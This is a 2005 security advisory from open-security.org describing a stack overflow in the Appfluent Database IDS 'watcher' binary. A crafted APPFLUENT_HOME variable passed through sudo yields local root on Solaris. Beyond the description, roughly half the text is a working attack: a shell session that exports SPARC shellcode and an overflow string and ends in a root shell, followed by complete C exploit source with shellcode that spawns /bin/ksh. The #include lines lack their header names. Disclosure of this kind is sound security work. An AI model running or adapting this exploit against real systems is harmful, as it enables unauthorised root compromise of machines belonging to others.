14

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$ An open security advisory #14 - Appfluent Database IDS Environment Variable Overflow

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1: Bug Researcher: c0ntex - c0ntexb[at]gmail.com -+- www.open-security.org

2: Bug Released: December 07th 2005

3: Bug Impact Rate: Hi

4: Bug Scope Rate: Local root

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$ This advisory and/or proof of concept code must not be used for commercial gain.

*******************************************************************************

Appfluent Database IDS v2.0

http://www.appfluent.com

"Appfluent Technology is the leading provider of data usage and query performance software designed to

help IT organizations improve performance of Business Intelligence (BI) and enterprise applications,

reduce the number of databases they maintain and quickly deploy new applications. Appfluent provides a

suite of products that clean up and consolidate databases, optimize query performance based on usage,

and rapidly analyze applications for both test and production environments."

Appfluent provide a Database IDS system that monitors all SQL traffic in real time, logging every user

defined transaction to a database, providing an audit trail of all transactions that take place. There

are several processes that ecumulate together to provide the IDS solution, including watcher, analyser,

alerter and reporter.

There is a stack based buffer overflow in all binaries that allow for some malicious attacker to gain

unauthorised code execution on the system where the application is installed. Due to incorrect use of

strcpy(), and a lack of correct bounds checking, a user can manipulate the $APPFLUENT_HOME environment

variable to overflow the stack buffer.

The problem is specific to the watcher process, as it needs to be run as root due to the fact that it

sniffs all traffic going to an interface. A script installed in $APPFLUENT_HOME/server_oracle/bin is

supplied so that administrators can run the process via sudo.

When run with sudo, we are provided a vector for root compromise as a default sudo install on Solaris

(this example) and other operating systems honour the setting of environment variables. As such, when

an attacker crafts $APPFLUENT_HOME in a malicious manner and runs the watcher process, root access to

the system is gained.

There are a few requirements that need to be met for the attack to be successful, and they include:

1) User is in the sudoers file and is defined as able to run the watcher process

2) Sudo honours environment variables, meaning env_reset or the likes is not set

Please note that users must set, or have $APPFLUENT_HOME set for the product to work, and if the above

two requirements are met, an attacker is guaranteed to gain unauthorised root access to the system.

Appfluent have released a fix and is provided in the latest version of the product => Ver: 2.1.0.103

###

## Proof run with a default sudo install from sunfreeware.

###

[c0ntex@ ~/vuln]$ export SHELLCODE=`printf "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90

\x90\x90\x82\x10\x20\x18\x91\xd0\x20\x08\x90\x02\x60\x01\x90\x22\x20\x01\x92\x10\x3f

\xff\x82\x10\x20\xca\x91\xd0\x20\x08\x82\x10\x20\x2f\x91\xd0\x20\x08\x90\x02\x60\x01

\x90\x22\x20\x01\x92\x10\x3f\xff\x82\x10\x20\xcb\x91\xd0\x20\x08\x94\x1a\x80\x0a\x21

\x0b\xd5\x9a\xa0\x14\x21\x6e\x23\x0b\xcb\xdc\xa2\x14\x63\x68\xd4\x23\xbf\xfc\xe2\x23

\xbf\xf8\xe0\x23\xbf\xf4\x90\x23\xa0\x0c\xd4\x23\xbf\xfd\xd0\x23\xbf\xec\x92\x23\xa0

\x14\x82\x10\x20\x3b\x91\xd0\x20\x08\x82\x10\x20\x01\x91\xd0\x20\x08"`

[c0ntex@ ~/vuln]$ export APPFLUENT_HOME=`perl -e 'print "A" x 576'``printf "\xff\xbe

\xfa\xd0\xff\xbe\xfa\xd0"`

[c0ntex@ ~/vuln]$ sudo /tmp/watch/watcher -sc

Password:

Version: 2.0.0.103

do_process: Exception:

file: file_stream.cpp

line: 338

message: FileStream: fopen : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAУПТОУКУ�oracle

/config/config : 78 : File name too long

code: 78

stack:

#0 void IC::ConfigFile::load(IC::StrP) at config_file.cpp:35

#1 virtual void IC::ServerConfig::load() at /home/ask/lab/v2_0/app/product/server/l

ib/libserverconfig/server_config.cpp:70

#2 virtual void IC::Watch::run(bool, bool) at /home/ask/lab/v2_0/app/product/server

/lib/libwatch/watch.cpp:41

#3 int do_process(bool) at /home/ask/lab/v2_0/app/product/server/bin/watch/do_proce

ss.cpp:21

#

#

# uname -a

SunOS 5.8 Generic_117350-24 sun4u sparc SUNW,UltraAX-i2

#

# id -a

uid=0(root) gid=1(other) groups=1(other),0(root),2(bin),3(sys),4(adm),5(uucp),6(mail

),7(tty),8(lp),9(nuucp),12(daemon)

#

Greetings to everyone I know ;-)

*/

#include

#include

#include

#include

#define DAHBUF 591

#define NOP 0x90

#define SUDO "/usr/local/bin/sudo"

#define VULN "watcher"

#define WOPT "-sc"

char shellcode[] = "\x20\xbf\xff\xff\x20\xbf\xff\xff\x7f\xff\xff\xff\x90\x03\xe0\x20"

"\x92\x02\x20\x10\xc0\x22\x20\x08\xd0\x22\x20\x10\xc0\x22\x20\x14"

"\x82\x10\x20\x0b\x91\xd0\x20\x08/bin/ksh";

char retloc[] = "\xff\xbe\xfd\xe9";

char retlok[] = "\xff\xbe\xfd\xed";

int main()

{

char env[DAHBUF+9];

puts("\nLocal root proof of concept for Appfluent IDS Watcher environment overflow");

puts("found and developed by c0ntex || c0ntexb@gmail.com || www.open-security.org\n");

memset(env, NOP, DAHBUF);

memcpy(env + 100, shellcode, strlen(shellcode));

memcpy(env + DAHBUF, retloc, strlen(retloc));

memcpy(env + DAHBUF + 4, retlok, strlen(retlok));

env[DAHBUF+9] = '\0';

strncpy(&env[0], "APPFLUENT_HOME=", 15);

if(!env) {

puts("barfed!");

return(EXIT_FAILURE);

}

putenv(env);

if(execl(SUDO, SUDO, VULN, WOPT, NULL) < 0) {

perror("execle");

return(EXIT_FAILURE);

}

return(EXIT_SUCCESS);

}


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